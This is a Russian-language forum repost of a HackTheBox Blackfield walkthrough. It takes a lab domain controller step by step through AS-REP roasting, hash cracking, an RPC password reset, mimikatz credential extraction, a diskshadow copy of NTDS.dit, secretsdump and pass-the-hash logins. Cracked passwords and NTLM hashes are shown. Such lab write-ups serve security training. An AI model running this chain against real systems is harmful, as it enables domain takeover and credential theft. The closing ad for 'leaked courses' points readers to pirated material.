НОВОСТИ HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию

NewsBot
Оффлайн

NewsBot

.
.
Регистрация
21.07.20
Сообщения
40.408
Реакции
1
Репутация
0
lqngyb4zq6u3wkxiwgoo2a-cjyc.png


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки .

В данной статье использую ASRep Roasting для определения пользователей, RPC для смены пароля и захвата учетной записи, а потом повысим свои привилегии благодаря теневой копии NTDS.DIT.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал и в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации .

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.


10.10.10.192 blackfield.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:


#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

kufnhqopykfi-wtimmga8b4__pk.png


Видим много открытых портов, но как обычно начнем с SMB. Давайте посмотрим, можем ли мы что-нибудь сделать не авторизовавшись.


smbmap -u anonymous -H 10.10.10.19

csrwwywzpz19amaohw08p5v1b9y.png


И нам доступна для чтения директория profiles$.


smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2

mhntap2nswqbodpy0nsdeymtx9u.png


Имеем большой список возможных пользователей. Мы можем проверить, какие пользователи реально присутствуют в системе. Дело в том, что при атаке ASRep Roasting, сервер имеет три разных ответа:

  • хеш пароля пользователя;
  • у данного пользователя не выставлено UAF Dont Require PreAuth;
  • такого пользователя нет в базе Kerberos.

Таким образом, мы сможет узнать, кто есть, а кого нет.

Entry Point


Для начала получим список.


smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt

А теперь выполним ASRep-Roasting.


GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt

q22hc4bfdcsckx80lxdtrgitz9e.png


И я был удивлен, когда нам вернули хеш. Давайте крякнем его.


john support.hash -w=./tools/rockyou.txt

txpaig0j9cmk_pteu7igs0d2rrs.png


И у нас есть целая подконтрольная учетная запись. Теперь давайте получим как можно больше информации, с помощью enum4linux.


enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null

ixecsyex1lxziohxqnilgkzkauk.png


Получим огроменный список непонятных пользователей, но самое интересное — это членство в группах. Так мы узнаем, что svc_backup состоит в группе RMU (RID: 580), что разрешает удаленное подключение с помощью Win-RM.

C SMB больше ничего взять не можем, а в LDAP ничего не находим. А вот в RPC, как оказалось, есть одна фишка. Давайте подключимся:


rpcclient 10.10.10.192 -U support

i8lvsxpmvx_yxdaxlau4aesrcea.png


Дело в том, что есть возможность поменять пароль пользователя с такими же привилегиями, все подробно описано . И у меня получилось это сделать для пользователя audit2020.


setuserinfo2 audit2020 18 'ralf'

uw81l0kvnzgg6upintlimkfvpty.png


Теперь начинаем анализ всех ресурсов и служб сначала, так как у нас появилась еще одна подконтрольная учетная запись.

USER


Идем на SMB.


smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192

11nt63o00vn4r-1mfcn32evff4w.png


Очень много можно читать, лучше вывести все содержимое рекурсивно и просмотреть за один раз.


smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R

5j4d_c9ho25s4lvhqtz51lr5tky.png


И в папке forensic\memory_analysis находим, видимо, дамп процесса lsass. А из него мы можем получить пароли с помощью mimikatz. Скачаем данный файл.


smbclient.py blackfield.local/audit2020:[email protected]

n2cerxpyc3n2wbp-6rafwejk0ng.png


Теперь перейдем в Windows машину и используем mimikatz.

vprsphh9eu0a6rp5ybfy5xd_tye.png


И, зная хеш, с помощью Evil-WinRM подключаемся от имени svc_backup.


evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

yvkn7ef-4qhx3ckfa4qw6d6szmo.png


ROOT


Давайте посмотрим группы и привилегии пользователя.

povhw9veldhd8ws5mgyp-w9detw.png


Имеем привилегию SeBackupPrivilege. Это дает нам право создавать теневую копию файла NTDS, который содержит большое количество учетных данных. После того, как создадим копию, мы не можем просто извлечь необходимый файл. Для этого нам понадобится .

Давайте сделаем теневую копию. Создадим файл со следующим содержимым.


SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias ralfcopy
create
expose %ralfcopy% z:

И теперь загрузим его и скачанные библиотеки на хост.

tg_lpcuaob1uy3mhg6h2kdzxiby.png


Выполним теневое копирование.


diskshadow /s ds.txt

zsyew8x7urnnvbm1w_zsrrckjlg.png


keshyxf355zyvu-yoc4fi9_vbry.png


И сдампим файл.


Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit

hecvu9gg57n5uyhxlysmx8e05yo.png


Но данный файл зашифрован, и чтобы его расшифровать нам нужем файл SYSTEM, достать который проблем не составит.


reg save HKLM\SYSTEM C:\Temp\SYSTEM

0xih248cncksvuidopbobalfbng.png


Скачиваем оба файла с машины.

ikwnh0rbkg7zahowbaylrbatdyw.png


И достаем хеши с помощью secretsdump из пакета impacket.


secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

kivmx202tzye5kgjg5ub2tupbho.png


Подключимся от имени администратора.


evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee


z09_fqchsc_ct9za6epyhwwsves.png


У нас полный контроль над данной машиной.

Вы можете присоединиться к нам в . Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
 
Сверху Снизу